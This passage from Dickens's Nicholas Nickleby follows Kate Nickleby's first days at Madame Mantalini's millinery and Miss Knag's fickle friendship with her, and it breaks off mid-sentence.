Mantalini, with +his egg-spoon in his mouth. + +'It's very easy to talk,' said Mrs Mantalini. + +'Not so easy when one is eating a demnition egg,' replied Mr +Mantalini; 'for the yolk runs down the waistcoat, and yolk of egg +does not match any waistcoat but a yellow waistcoat, demmit.' + +'You were flirting with her during the whole night,' said Madame +Mantalini, apparently desirous to lead the conversation back to the +point from which it had strayed. + +'No, no, my life.' + +'You were,' said Madame; 'I had my eye upon you all the time.' + +'Bless the little winking twinkling eye; was it on me all the time!' +cried Mantalini, in a sort of lazy rapture. 'Oh, demmit!' + +'And I say once more,' resumed Madame, 'that you ought not to waltz +with anybody but your own wife; and I will not bear it, Mantalini, +if I take poison first.' + +'She will not take poison and have horrid pains, will she?' said +Mantalini; who, by the altered sound of his voice, seemed to have +moved his chair, and taken up his position nearer to his wife. 'She +will not take poison, because she had a demd fine husband who might +have married two countesses and a dowager--' + +'Two countesses,' interposed Madame. 'You told me one before!' + +'Two!' cried Mantalini. 'Two demd fine women, real countesses and +splendid fortunes, demmit.' + +'And why didn't you?' asked Madame, playfully. + +'Why didn't I!' replied her husband. 'Had I not seen, at a morning +concert, the demdest little fascinator in all the world, and while +that little fascinator is my wife, may not all the countesses and +dowagers in England be--' + +Mr Mantalini did not finish the sentence, but he gave Madame +Mantalini a very loud kiss, which Madame Mantalini returned; after +which, there seemed to be some more kissing mixed up with the +progress of the breakfast. + +'And what about the cash, my existence's jewel?' said Mantalini, +when these endearments ceased. 'How much have we in hand?' + +'Very little indeed,' replied Madame. + +'We must have some more,' said Mantalini; 'we must have some +discount out of old Nickleby to carry on the war with, demmit.' + +'You can't want any more just now,' said Madame coaxingly. + +'My life and soul,' returned her husband, 'there is a horse for sale +at Scrubbs's, which it would be a sin and a crime to lose--going, my +senses' joy, for nothing.' + +'For nothing,' cried Madame, 'I am glad of that.' + +'For actually nothing,' replied Mantalini. 'A hundred guineas down +will buy him; mane, and crest, and legs, and tail, all of the +demdest beauty. I will ride him in the park before the very +chariots of the rejected countesses. The demd old dowager will +faint with grief and rage; the other two will say "He is married, he +has made away with himself, it is a demd thing, it is all up!" They +will hate each other demnebly, and wish you dead and buried. Ha! +ha! Demmit.' + +Madame Mantalini's prudence, if she had any, was not proof against +these triumphal pictures; after a little jingling of keys, she +observed that she would see what her desk contained, and rising for +that purpose, opened the folding-door, and walked into the room +where Kate was seated. + +'Dear me, child!' exclaimed Madame Mantalini, recoiling in surprise. +'How came you here?' + +'Child!' cried Mantalini, hurrying in. 'How came--eh!--oh--demmit, +how d'ye do?' + +'I have been waiting, here some time, ma'am,' said Kate, addressing +Madame Mantalini. 'The servant must have forgotten to let you know +that I was here, I think.' + +'You really must see to that man,' said Madame, turning to her +husband. 'He forgets everything.' + +'I will twist his demd nose off his countenance for leaving such a +very pretty creature all alone by herself,' said her husband. + +'Mantalini,' cried Madame, 'you forget yourself.' + +'I don't forget you, my soul, and never shall, and never can,' said +Mantalini, kissing his wife's hand, and grimacing aside, to Miss +Nickleby, who turned away. + +Appeased by this compliment, the lady of the business took some +papers from her desk which she handed over to Mr Mantalini, who +received them with great delight. She then requested Kate to follow +her, and after several feints on the part of Mr Mantalini to attract +the young lady's attention, they went away: leaving that gentleman +extended at full length on the sofa, with his heels in the air and a +newspaper in his hand. + +Madame Mantalini led the way down a flight of stairs, and through a +passage, to a large room at the back of the premises where were a +number of young women employed in sewing, cutting out, making up, +altering, and various other processes known only to those who are +cunning in the arts of millinery and dressmaking. It was a close +room with a skylight, and as dull and quiet as a room need be. + +On Madame Mantalini calling aloud for Miss Knag, a short, bustling, +over-dressed female, full of importance, presented herself, and all +the young ladies suspending their operations for the moment, +whispered to each other sundry criticisms upon the make and texture +of Miss Nickleby's dress, her complexion, cast of features, and +personal appearance, with as much good breeding as could have been +displayed by the very best society in a crowded ball-room. + +'Oh, Miss Knag,' said Madame Mantalini, 'this is the young person I +spoke to you about.' + +Miss Knag bestowed a reverential smile upon Madame Mantalini, which +she dexterously transformed into a gracious one for Kate, and said +that certainly, although it was a great deal of trouble to have +young people who were wholly unused to the business, still, she was +sure the young person would try to do her best--impressed with which +conviction she (Miss Knag) felt an interest in her, already. + +'I think that, for the present at all events, it will be better for +Miss Nickleby to come into the show-room with you, and try things on +for people,' said Madame Mantalini. 'She will not be able for the +present to be of much use in any other way; and her appearance will--' + +'Suit very well with mine, Madame Mantalini,' interrupted Miss Knag. +'So it will; and to be sure I might have known that you would not be +long in finding that out; for you have so much taste in all those +matters, that really, as I often say to the young ladies, I do not +know how, when, or where, you possibly could have acquired all you +know--hem--Miss Nickleby and I are quite a pair, Madame Mantalini, +only I am a little darker than Miss Nickleby, and--hem--I think my +foot may be a little smaller. Miss Nickleby, I am sure, will not +be offended at my saying that, when she hears that our family always +have been celebrated for small feet ever since--hem--ever since our +family had any feet at all, indeed, I think. I had an uncle once, +Madame Mantalini, who lived in Cheltenham, and had a most excellent +business as a tobacconist--hem--who had such small feet, that they +were no bigger than those which are usually joined to wooden legs-- +the most symmetrical feet, Madame Mantalini, that even you can +imagine.' + +'They must have had something of the appearance of club feet, Miss +Knag,' said Madame. + +'Well now, that is so like you,' returned Miss Knag, 'Ha! ha! ha! +Of club feet! Oh very good! As I often remark to the young ladies, +"Well I must say, and I do not care who knows it, of all the ready +humour--hem--I ever heard anywhere"--and I have heard a good deal; +for when my dear brother was alive (I kept house for him, Miss +Nickleby), we had to supper once a week two or three young men, +highly celebrated in those days for their humour, Madame Mantalini-- +"Of all the ready humour," I say to the young ladies, "I ever heard, +Madame Mantalini's is the most remarkable--hem. It is so gentle, so +sarcastic, and yet so good-natured (as I was observing to Miss +Simmonds only this morning), that how, or when, or by what means she +acquired it, is to me a mystery indeed."' + +Here Miss Knag paused to take breath, and while she pauses it may be +observed--not that she was marvellously loquacious and marvellously +deferential to Madame Mantalini, since these are facts which require +no comment; but that every now and then, she was accustomed, in the +torrent of her discourse, to introduce a loud, shrill, clear 'hem!' +the import and meaning of which, was variously interpreted by her +acquaintance; some holding that Miss Knag dealt in exaggeration, and +introduced the monosyllable when any fresh invention was in course +of coinage in her brain; others, that when she wanted a word, she +threw it in to gain time, and prevent anybody else from striking +into the conversation. It may be further remarked, that Miss Knag +still aimed at youth, although she had shot beyond it, years ago; +and that she was weak and vain, and one of those people who are best +described by the axiom, that you may trust them as far as you can +see them, and no farther. + +'You'll take care that Miss Nickleby understands her hours, and so +forth,' said Madame Mantalini; 'and so I'll leave her with you. +You'll not forget my directions, Miss Knag?' + +Miss Knag of course replied, that to forget anything Madame +Mantalini had directed, was a moral impossibility; and that lady, +dispensing a general good-morning among her assistants, sailed away. + +'Charming creature, isn't she, Miss Nickleby?' said Miss Knag, +rubbing her hands together. + +'I have seen very little of her,' said Kate. 'I hardly know yet.' + +'Have you seen Mr Mantalini?' inquired Miss Knag. + +'Yes; I have seen him twice.' + +'Isn't HE a charming creature?' + +'Indeed he does not strike me as being so, by any means,' replied +Kate. + +'No, my dear!' cried Miss Knag, elevating her hands. 'Why, goodness +gracious mercy, where's your taste? Such a fine tall, full- +whiskered dashing gentlemanly man, with such teeth and hair, and-- +hem--well now, you DO astonish me.' + +'I dare say I am very foolish,' replied Kate, laying aside her +bonnet; 'but as my opinion is of very little importance to him or +anyone else, I do not regret having formed it, and shall be slow to +change it, I think.' + +'He is a very fine man, don't you think so?' asked one of the young +ladies. + +'Indeed he may be, for anything I could say to the contrary,' +replied Kate. + +'And drives very beautiful horses, doesn't he?' inquired another. + +'I dare say he may, but I never saw them,' answered Kate. + +'Never saw them!' interposed Miss Knag. 'Oh, well! There it is at +once you know; how can you possibly pronounce an opinion about a +gentleman--hem--if you don't see him as he turns out altogether?' + +There was so much of the world--even of the little world of the +country girl--in this idea of the old milliner, that Kate, who was +anxious, for every reason, to change the subject, made no further +remark, and left Miss Knag in possession of the field. + +After a short silence, during which most of the young people made a +closer inspection of Kate's appearance, and compared notes +respecting it, one of them offered to help her off with her shawl, +and the offer being accepted, inquired whether she did not find +black very uncomfortable wear. + +'I do indeed,' replied Kate, with a bitter sigh. + +'So dusty and hot,' observed the same speaker, adjusting her dress +for her. + +Kate might have said, that mourning is sometimes the coldest wear +which mortals can assume; that it not only chills the breasts of +those it clothes, but extending its influence to summer friends, +freezes up their sources of good-will and kindness, and withering +all the buds of promise they once so liberally put forth, leaves +nothing but bared and rotten hearts exposed. There are few who have +lost a friend or relative constituting in life their sole +dependence, who have not keenly felt this chilling influence of +their sable garb. She had felt it acutely, and feeling it at the +moment, could not quite restrain her tears. + +'I am very sorry to have wounded you by my thoughtless speech,' said +her companion. 'I did not think of it. You are in mourning for +some near relation?' + +'For my father,' answered Kate. + +'For what relation, Miss Simmonds?' asked Miss Knag, in an audible +voice. + +'Her father,' replied the other softly. + +'Her father, eh?' said Miss Knag, without the slightest depression +of her voice. 'Ah! A long illness, Miss Simmonds?' + +'Hush,' replied the girl; 'I don't know.' + +'Our misfortune was very sudden,' said Kate, turning away, 'or I +might perhaps, at a time like this, be enabled to support it +better.' + +There had existed not a little desire in the room, according to +invariable custom, when any new 'young person' came, to know who +Kate was, and what she was, and all about her; but, although it +might have been very naturally increased by her appearance and +emotion, the knowledge that it pained her to be questioned, was +sufficient to repress even this curiosity; and Miss Knag, finding it +hopeless to attempt extracting any further particulars just then, +reluctantly commanded silence, and bade the work proceed. + +In silence, then, the tasks were plied until half-past one, when a +baked leg of mutton, with potatoes to correspond, were served in the +kitchen. The meal over, and the young ladies having enjoyed the +additional relaxation of washing their hands, the work began again, +and was again performed in silence, until the noise of carriages +rattling through the streets, and of loud double knocks at doors, +gave token that the day's work of the more fortunate members of +society was proceeding in its turn. + +One of these double knocks at Madame Mantalini's door, announced the +equipage of some great lady--or rather rich one, for there is +occasionally a distinction between riches and greatness--who had +come with her daughter to approve of some court-dresses which had +been a long time preparing, and upon whom Kate was deputed to wait, +accompanied by Miss Knag, and officered of course by Madame +Mantalini. + +Kate's part in the pageant was humble enough, her duties being +limited to holding articles of costume until Miss Knag was ready to +try them on, and now and then tying a string, or fastening a hook- +and-eye. She might, not unreasonably, have supposed herself beneath +the reach of any arrogance, or bad humour; but it happened that the +lady and daughter were both out of temper that day, and the poor +girl came in for her share of their revilings. She was awkward--her +hands were cold--dirty--coarse--she could do nothing right; they +wondered how Madame Mantalini could have such people about her; +requested they might see some other young woman the next time they +came; and so forth. + +So common an occurrence would be hardly deserving of mention, but +for its effect. Kate shed many bitter tears when these people were +gone, and felt, for the first time, humbled by her occupation. She +had, it is true, quailed at the prospect of drudgery and hard +service; but she had felt no degradation in working for her bread, +until she found herself exposed to insolence and pride. Philosophy +would have taught her that the degradation was on the side of those +who had sunk so low as to display such passions habitually, and +without cause: but she was too young for such consolation, and her +honest feeling was hurt. May not the complaint, that common people +are above their station, often take its rise in the fact of UNcommon +people being below theirs? + +In such scenes and occupations the time wore on until nine o'clock, +when Kate, jaded and dispirited with the occurrences of the day, +hastened from the confinement of the workroom, to join her mother at +the street corner, and walk home:--the more sadly, from having to +disguise her real feelings, and feign to participate in all the +sanguine visions of her companion. + +'Bless my soul, Kate,' said Mrs Nickleby; 'I've been thinking all +day what a delightful thing it would be for Madame Mantalini to take +you into partnership--such a likely thing too, you know! Why, your +poor dear papa's cousin's sister-in-law--a Miss Browndock--was taken +into partnership by a lady that kept a school at Hammersmith, and +made her fortune in no time at all. I forget, by-the-bye, whether +that Miss Browndock was the same lady that got the ten thousand +pounds prize in the lottery, but I think she was; indeed, now I come +to think of it, I am sure she was. "Mantalini and Nickleby", how +well it would sound!--and if Nicholas has any good fortune, you +might have Doctor Nickleby, the head-master of Westminster School, +living in the same street.' + +'Dear Nicholas!' cried Kate, taking from her reticule her brother's +letter from Dotheboys Hall. 'In all our misfortunes, how happy it +makes me, mama, to hear he is doing well, and to find him writing +in such good spirits! It consoles me for all we may undergo, to +think that he is comfortable and happy.' + +Poor Kate! she little thought how weak her consolation was, and how +soon she would be undeceived. + + + +CHAPTER 18 + +Miss Knag, after doting on Kate Nickleby for three whole Days, makes +up her Mind to hate her for evermore. The Causes which led Miss +Knag to form this Resolution + + +There are many lives of much pain, hardship, and suffering, which, +having no stirring interest for any but those who lead them, are +disregarded by persons who do not want thought or feeling, but who +pamper their compassion and need high stimulants to rouse it. + +There are not a few among the disciples of charity who require, in +their vocation, scarcely less excitement than the votaries of +pleasure in theirs; and hence it is that diseased sympathy and +compassion are every day expended on out-of-the-way objects, when +only too many demands upon the legitimate exercise of the same +virtues in a healthy state, are constantly within the sight and +hearing of the most unobservant person alive. In short, charity +must have its romance, as the novelist or playwright must have his. +A thief in fustian is a vulgar character, scarcely to be thought of +by persons of refinement; but dress him in green velvet, with a +high-crowned hat, and change the scene of his operations, from a +thickly-peopled city, to a mountain road, and you shall find in him +the very soul of poetry and adventure. So it is with the one great +cardinal virtue, which, properly nourished and exercised, leads to, +if it does not necessarily include, all the others. It must have +its romance; and the less of real, hard, struggling work-a-day life +there is in that romance, the better. + +The life to which poor Kate Nickleby was devoted, in consequence of +the unforeseen train of circumstances already developed in this +narrative, was a hard one; but lest the very dulness, unhealthy +confinement, and bodily fatigue, which made up its sum and +substance, should deprive it of any interest with the mass of the +charitable and sympathetic, I would rather keep Miss Nickleby +herself in view just now, than chill them in the outset, by a minute +and lengthened description of the establishment presided over by +Madame Mantalini. + +'Well, now, indeed, Madame Mantalini,' said Miss Knag, as Kate was +taking her weary way homewards on the first night of her novitiate; +'that Miss Nickleby is a very creditable young person--a very +creditable young person indeed--hem--upon my word, Madame Mantalini, +it does very extraordinary credit even to your discrimination that +you should have found such a very excellent, very well-behaved, +very--hem--very unassuming young woman to assist in the fitting on. +I have seen some young women when they had the opportunity of +displaying before their betters, behave in such a--oh, dear--well-- +but you're always right, Madame Mantalini, always; and as I very +often tell the young ladies, how you do contrive to be always right, +when so many people are so often wrong, is to me a mystery indeed.' + +'Beyond putting a very excellent client out of humour, Miss Nickleby +has not done anything very remarkable today--that I am aware of, at +least,' said Madame Mantalini in reply. + +'Oh, dear!' said Miss Knag; 'but you must allow a great deal for +inexperience, you know.' + +'And youth?' inquired Madame. + +'Oh, I say nothing about that, Madame Mantalini,' replied Miss Knag, +reddening; 'because if youth were any excuse, you wouldn't have--' + +'Quite so good a forewoman as I have, I suppose,' suggested Madame. + +'Well, I never did know anybody like you, Madame Mantalini,' +rejoined Miss Knag most complacently, 'and that's the fact, for you +know what one's going to say, before it has time to rise to one's +lips. Oh, very good! Ha, ha, ha!' + +'For myself,' observed Madame Mantalini, glancing with affected +carelessness at her assistant, and laughing heartily in her sleeve, +'I consider Miss Nickleby the most awkward girl I ever saw in my +life.' + +'Poor dear thing,' said Miss Knag, 'it's not her fault. If it was, +we might hope to cure it; but as it's her misfortune, Madame +Mantalini, why really you know, as the man said about the blind +horse, we ought to respect it.' + +'Her uncle told me she had been considered pretty,' remarked Madame +Mantalini. 'I think her one of the most ordinary girls I ever met +with.' + +'Ordinary!' cried Miss Knag with a countenance beaming delight; 'and +awkward! Well, all I can say is, Madame Mantalini, that I quite +love the poor girl; and that if she was twice as indifferent- +looking, and twice as awkward as she is, I should be only so much +the more her friend, and that's the truth of it.' + +In fact, Miss Knag had conceived an incipient affection for Kate +Nickleby, after witnessing her failure that morning, and this short +conversation with her superior increased the favourable +prepossession to a most surprising extent; which was the more +remarkable, as when she first scanned that young lady's face and +figure, she had entertained certain inward misgivings that they +would never agree. + +'But now,' said Miss Knag, glancing at the reflection of herself in +a mirror at no great distance, 'I love her--I quite love her--I +declare I do!' + +Of such a highly disinterested quality was this devoted friendship, +and so superior was it to the little weaknesses of flattery or ill- +nature, that the kind-hearted Miss Knag candidly informed Kate +Nickleby, next day, that she saw she would never do for the +business, but that she need not give herself the slightest +uneasiness on this account, for that she (Miss Knag), by increased +exertions on her own part, would keep her as much as possible in the +background, and that all she would have to do, would be to remain +perfectly quiet before company, and to shrink from attracting notice +by every means in her power. This last suggestion was so much in +accordance with the timid girl's own feelings and wishes, that she +readily promised implicit reliance on the excellent spinster's +advice: without questioning, or indeed bestowing a moment's +reflection upon, the motives that dictated it. + +'I take quite a lively interest in you, my dear soul, upon my word,' +said Miss Knag; 'a sister's interest, actually. It's the most +singular circumstance I ever knew.' + +Undoubtedly it was singular, that if Miss Knag did feel a strong +interest in Kate Nickleby, it should not rather have been the +interest of a maiden aunt or grandmother; that being the conclusion +to which the difference in their respective ages would have +naturally tended. But Miss Knag wore clothes of a very youthful +pattern, and perhaps her feelings took the same shape. + +'Bless you!' said Miss Knag, bestowing a kiss upon Kate at the +conclusion of the second day's work, 'how very awkward you have been +all day.' + +'I fear your kind and open communication, which has rendered me more +painfully conscious of my own defects, has not improved me,' sighed +Kate. + +'No, no, I dare say not,' rejoined Miss Knag, in a most uncommon +flow of good humour. 'But how much better that you should know it +at first, and so be able to go on, straight and comfortable! Which +way are you walking, my love?' + +'Towards the city,' replied Kate. + +'The city!' cried Miss Knag, regarding herself with great favour in +the glass as she tied her bonnet. 'Goodness gracious me! now do you +really live in the city?' + +'Is it so very unusual for anybody to live there?' asked Kate, half +smiling. + +'I couldn't have believed it possible that any young woman could +have lived there, under any circumstances whatever, for three days +together,' replied Miss Knag. + +'Reduced--I should say poor people,' answered Kate, correcting +herself hastily, for she was afraid of appearing proud, 'must live +where they can.' + +'Ah! very true, so they must; very proper indeed!' rejoined Miss +Knag with that sort of half-sigh, which, accompanied by two or three +slight nods of the head, is pity's small change in general society; +'and that's what I very often tell my brother, when our servants go +away ill, one after another, and he thinks the back-kitchen's rather +too damp for 'em to sleep in. These sort of people, I tell him, are +glad to sleep anywhere! Heaven suits the back to the burden. What +a nice thing it is to think that it should be so, isn't it?' + +'Very,' replied Kate. + +'I'll walk with you part of the way, my dear,' said Miss Knag, 'for +you must go very near our house; and as it's quite dark, and our +last servant went to the hospital a week ago, with St Anthony's fire +in her face, I shall be glad of your company.' + +Kate would willingly have excused herself from this flattering +companionship; but Miss Knag having adjusted her bonnet to her +entire satisfaction, took her arm with an air which plainly showed +how much she felt the compliment she was conferring, and they were +in the street before she could say another word. + +'I fear,' said Kate, hesitating, 'that mama--my mother, I mean--is +waiting for me.' + +'You needn't make the least apology, my dear,' said Miss Knag, +smiling sweetly as she spoke; 'I dare say she is a very respectable +old person, and I shall be quite--hem--quite pleased to know her.' + +As poor Mrs Nickleby was cooling--not her heels alone, but her limbs +generally at the street corner, Kate had no alternative but to make +her known to Miss Knag, who, doing the last new carriage customer at +second-hand, acknowledged the introduction with condescending +politeness. The three then walked away, arm in arm: with Miss Knag +in the middle, in a special state of amiability. + +'I have taken such a fancy to your daughter, Mrs Nickleby, you can't +think,' said Miss Knag, after she had proceeded a little distance in +dignified silence. + +'I am delighted to hear it,' said Mrs Nickleby; 'though it is +nothing new to me, that even strangers should like Kate.' + +'Hem!' cried Miss Knag. + +'You will like her better when you know how good she is,' said Mrs +Nickleby. 'It is a great blessing to me, in my misfortunes, to have +a child, who knows neither pride nor vanity, and whose bringing-up +might very well have excused a little of both at first. You don't +know what it is to lose a husband, Miss Knag.' + +As Miss Knag had never yet known what it was to gain one, it +followed, very nearly as a matter of course, that she didn't know +what it was to lose one; so she said, in some haste, 'No, indeed I +don't,' and said it with an air intending to signify that she should +like to catch herself marrying anybody--no, no, she knew better than +that. + +'Kate has improved even in this little time, I have no doubt,' said +Mrs Nickleby, glancing proudly at her daughter. + +'Oh! of course,' said Miss Knag. + +'And will improve still more,' added Mrs Nickleby. + +'That she will, I'll be bound,' replied Miss Knag, squeezing Kate's +arm in her own, to point the joke. + +'She always was clever,' said poor Mrs Nickleby, brightening up, +'always, from a baby. I recollect when she was only two years and a +half old, that a gentleman who used to visit very much at our house +--Mr Watkins, you know, Kate, my dear, that your poor papa went bail +for, who afterwards ran away to the United States, and sent us a +pair of snow shoes, with such an affectionate letter that it made +your poor dear father cry for a week. You remember the letter? In +which he said that he was very sorry he couldn't repay the fifty +pounds just then, because his capital was all out at interest, and +he was very busy making his fortune, but that he didn't forget you +were his god-daughter, and he should take it very unkind if we +didn't buy you a silver coral and put it down to his old account? +Dear me, yes, my dear, how stupid you are! and spoke so +affectionately of the old port wine that he used to drink a bottle +and a half of every time he came. You must remember, Kate?' + +'Yes, yes, mama; what of him?' + +'Why, that Mr Watkins, my dear,' said Mrs Nickleby slowly, as if she +were making a tremendous effort to recollect something of paramount +importance; 'that Mr Watkins--he wasn't any relation, Miss Knag will +understand, to the Watkins who kept the Old Boar in the village; by- +the-bye, I don't remember whether it was the Old Boar or the George +the Third, but it was one of the two, I know, and it's much the +same--that Mr Watkins said, when you were only two years and a half +old, that you were one of the most astonishing children he ever saw. +He did indeed, Miss Knag, and he wasn't at all fond of children, and +couldn't have had the slightest motive for doing it. I know it was +he who said so, because I recollect, as well as if it was only +yesterday, his borrowing twenty pounds of her poor dear papa the +very moment afterwards.' + +Having quoted this extraordinary and most disinterested testimony to +her daughter's excellence, Mrs Nickleby stopped to breathe; and Miss +Knag, finding that the discourse was turning upon family greatness, +lost no time in striking in, with a small reminiscence on her own +account. + +'Don't talk of lending money, Mrs Nickleby,' said Miss Knag, 'or +you'll drive me crazy, perfectly crazy. My mama--hem--was the most +lovely and beautiful creature, with the most striking and exquisite +--hem--the most exquisite nose that ever was put upon a human face, I +do believe, Mrs Nickleby (here Miss Knag rubbed her own nose +sympathetically); the most delightful and accomplished woman, +perhaps, that ever was seen; but she had that one failing of lending +money, and carried it to such an extent that she lent--hem--oh! +thousands of pounds, all our little fortunes, and what's more, Mrs +Nickleby, I don't think, if we were to live till--till--hem--till +the very end of time, that we should ever get them back again. I +don't indeed.' + +After concluding this effort of invention without being interrupted, +Miss Knag fell into many more recollections, no less interesting +than true, the full tide of which, Mrs Nickleby in vain attempting +to stem, at length sailed smoothly down by adding an under-current +of her own recollections; and so both ladies went on talking +together in perfect contentment; the only difference between them +being, that whereas Miss Knag addressed herself to Kate, and talked +very loud, Mrs Nickleby kept on in one unbroken monotonous flow, +perfectly satisfied to be talking and caring very little whether +anybody listened or not. + +In this manner they walked on, very amicably, until they arrived at +Miss Knag's brother's, who was an ornamental stationer and small +circulating library keeper, in a by-street off Tottenham Court Road; +and who let out by the day, week, month, or year, the newest old +novels, whereof the titles were displayed in pen-and-ink characters +on a sheet of pasteboard, swinging at his door-post. As Miss Knag +happened, at the moment, to be in the middle of an account of her +twenty-second offer from a gentleman of large property, she insisted +upon their all going in to supper together; and in they went. + +'Don't go away, Mortimer,' said Miss Knag as they entered the shop. +'It's only one of our young ladies and her mother. Mrs and Miss +Nickleby.' + +'Oh, indeed!' said Mr Mortimer Knag. 'Ah!' + +Having given utterance to these ejaculations with a very profound +and thoughtful air, Mr Knag slowly snuffed two kitchen candles on +the counter, and two more in the window, and then snuffed himself +from a box in his waistcoat pocket. + +There was something very impressive in the ghostly air with which +all this was done; and as Mr Knag was a tall lank gentleman of +solemn features, wearing spectacles, and garnished with much less +hair than a gentleman bordering on forty, or thereabouts, usually +boasts, Mrs Nickleby whispered her daughter that she thought he must +be literary. + +'Past ten,' said Mr Knag, consulting his watch. 'Thomas, close the +warehouse.' + +Thomas was a boy nearly half as tall as a shutter, and the warehouse +was a shop about the size of three hackney coaches. + +'Ah!' said Mr Knag once more, heaving a deep sigh as he restored to +its parent shelf the book he had been reading. 'Well--yes--I +believe supper is ready, sister.' + +With another sigh Mr Knag took up the kitchen candles from the +counter, and preceded the ladies with mournful steps to a back- +parlour, where a charwoman, employed in the absence of the sick +servant, and remunerated with certain eighteenpences to be deducted +from her wages due, was putting the supper out. + +'Mrs Blockson,' said Miss Knag, reproachfully, 'how very often I +have begged you not to come into the room with your bonnet on!' + +'I can't help it, Miss Knag,' said the charwoman, bridling up on the +shortest notice. 'There's been a deal o'cleaning to do in this +house, and if you don't like it, I must trouble you to look out for +somebody else, for it don't hardly pay me, and that's the truth, if +I was to be hung this minute.' + +'I don't want any remarks if YOU please,' said Miss Knag, with a +strong emphasis on the personal pronoun. 'Is there any fire +downstairs for some hot water presently?' + +'No there is not, indeed, Miss Knag,' replied the substitute; 'and +so I won't tell you no stories about it.' + +'Then why isn't there?' said Miss Knag. + +'Because there arn't no coals left out, and if I could make coals I +would, but as I can't I won't, and so I make bold to tell you, Mem,' +replied Mrs Blockson. + +'Will you hold your tongue--female?' said Mr Mortimer Knag, plunging +violently into this dialogue. + +'By your leave, Mr Knag,' retorted the charwoman, turning sharp +round. 'I'm only too glad not to speak in this house, excepting +when and where I'm spoke to, sir; and with regard to being a female, +sir, I should wish to know what you considered yourself?' + +'A miserable wretch,' exclaimed Mr Knag, striking his forehead. 'A +miserable wretch.' + +'I'm very glad to find that you don't call yourself out of your +name, sir,' said Mrs Blockson; 'and as I had two twin children the +day before yesterday was only seven weeks, and my little Charley +fell down a airy and put his elber out, last Monday, I shall take it +as a favour if you'll send nine shillings, for one week's work, to +my house, afore the clock strikes ten tomorrow.' + +With these parting words, the good woman quitted the room with great +ease of manner, leaving the door wide open; Mr Knag, at the same +moment, flung himself into the 'warehouse,' and groaned aloud. + +'What is the matter with that gentleman, pray?' inquired Mrs +Nickleby, greatly disturbed by the sound. + +'Is he ill?' inquired Kate, really alarmed. + +'Hush!' replied Miss Knag; 'a most melancholy history. He was once +most devotedly attached to--hem--to Madame Mantalini.' + +'Bless me!' exclaimed Mrs Nickleby. + +'Yes,' continued Miss Knag, 'and received great encouragement too, +and confidently hoped to marry her. He has a most romantic heart, +Mrs Nickleby, as indeed--hem--as indeed all our family have, and the +disappointment was a dreadful blow. He is a wonderfully +accomplished man--most extraordinarily accomplished--reads--hem-- +reads every novel that comes out; I mean every novel that--hem--that +has any fashion in it, of course. The fact is, that he did find so +much in the books he read, applicable to his own misfortunes, and +did find himself in every respect so much like the heroes--because +of course he is conscious of his own superiority, as we all are, and +very naturally--that he took to scorning everything, and became a +genius; and I am quite sure that he is, at this very present moment, +writing another book.' + +'Another book!' repeated Kate, finding that a pause was left for +somebody to say something. + +'Yes,' said Miss Knag, nodding in great triumph; 'another book, in +three volumes post octavo. Of course it's a great advantage to him, +in all his little fashionable descriptions, to have the benefit of +my--hem--of my experience, because, of course, few authors who write +about such things can have such opportunities of knowing them as I +have. He's so wrapped up in high life, that the least allusion to +business or worldly matters--like that woman just now, for instance-- +quite distracts him; but, as I often say, I think his disappointment +a great thing for him, because if he hadn't been disappointed he +couldn't have written about blighted hopes and all that; and the +fact is, if it hadn't happened as it has, I don't believe his +genius would ever have come out at all.' + +How much more communicative Miss Knag might have become under more +favourable circumstances, it is impossible to divine, but as the +gloomy one was within ear-shot, and the fire wanted making up, her +disclosures stopped here. To judge from all appearances, and the +difficulty of making the water warm, the last servant could not have +been much accustomed to any other fire than St Anthony's; but a +little brandy and water was made at last, and the guests, having +been previously regaled with cold leg of mutton and bread and +cheese, soon afterwards took leave; Kate amusing herself, all the +way home, with the recollection of her last glimpse of Mr Mortimer +Knag deeply abstracted in the shop; and Mrs Nickleby by debating +within herself whether the dressmaking firm would ultimately become +'Mantalini, Knag, and Nickleby', or 'Mantalini, Nickleby, and Knag'. + +At this high point, Miss Knag's friendship remained for three whole +days, much to the wonderment of Madame Mantalini's young ladies who +had never beheld such constancy in that quarter, before; but on the +fourth, it received a check no less violent than sudden, which thus +occurred. + +It happened that an old lord of great family, who was going to marry +a young lady of no family in particular, came with the young lady, +and the young lady's sister, to witness the ceremony of trying on +two nuptial bonnets which had been ordered the day before, and +Madame Mantalini announcing the fact, in a shrill treble, through +the speaking-pipe, which communicated with the workroom, Miss Knag +darted hastily upstairs with a bonnet in each hand, and presented +herself in the show-room, in a charming state of palpitation, +intended to demonstrate her enthusiasm in the cause. The bonnets +were no sooner fairly on, than Miss Knag and Madame Mantalini fell +into convulsions of admiration. + +'A most elegant appearance,' said Madame Mantalini. + +'I never saw anything so exquisite in all my life,' said Miss Knag. + +Now, the old lord, who was a VERY old lord, said nothing, but +mumbled and chuckled in a state of great delight, no less with the +nuptial bonnets and their wearers, than with his own address in +getting such a fine woman for his wife; and the young lady, who was +a very lively young lady, seeing the old lord in this rapturous +condition, chased the old lord behind a cheval-glass, and then and +there kissed him, while Madame Mantalini and the other young lady +looked, discreetly, another way. + +But, pending the salutation, Miss Knag, who was tinged with +curiosity, stepped accidentally behind the glass, and encountered +the lively young lady's eye just at the very moment when she kissed +the old lord; upon which the young lady, in a pouting manner, +murmured something about 'an old thing,' and 'great impertinence,' +and finished by darting a look of displeasure at Miss Knag, and +smiling contemptuously. + +'Madame Mantalini,' said the young lady. + +'Ma'am,' said Madame Mantalini. + +'Pray have up that pretty young creature we saw yesterday.' + +'Oh yes, do,' said the sister. + +'Of all things in the world, Madame Mantalini,' said the lord's +intended, throwing herself languidly on a sofa, 'I hate being waited +upon by frights or elderly persons. Let me always see that young +creature, I beg, whenever I come.' + +'By all means,' said the old lord; 'the lovely young creature, by +all means.' + +'Everybody is talking about her,' said the young lady, in the same +careless manner; 'and my lord, being a great admirer of beauty, must +positively see her.' + +'She IS universally admired,' replied Madame Mantalini. 'Miss Knag, +send up Miss Nickleby. You needn't return.' + +'I beg your pardon, Madame Mantalini, what did you say last?' asked +Miss Knag, trembling. + +'You needn't return,' repeated the superior, sharply. Miss Knag +vanished without another word, and in all reasonable time was +replaced by Kate, who took off the new bonnets and put on the old +ones: blushing very much to find that the old lord and the two young +ladies were staring her out of countenance all the time. + +'Why, how you colour, child!' said the lord's chosen bride. + +'She is not quite so accustomed to her business, as she will be in a +week or two,' interposed Madame Mantalini with a gracious smile. + +'I am afraid you have been giving her some of your wicked looks, my +lord,' said the intended. + +'No, no, no,' replied the old lord, 'no, no, I'm going to be +married, and lead a new life. Ha, ha, ha! a new life, a new life! +ha, ha, ha!' + +It was a satisfactory thing to hear that the old gentleman was going +to lead a new life, for it was pretty evident that his old one would 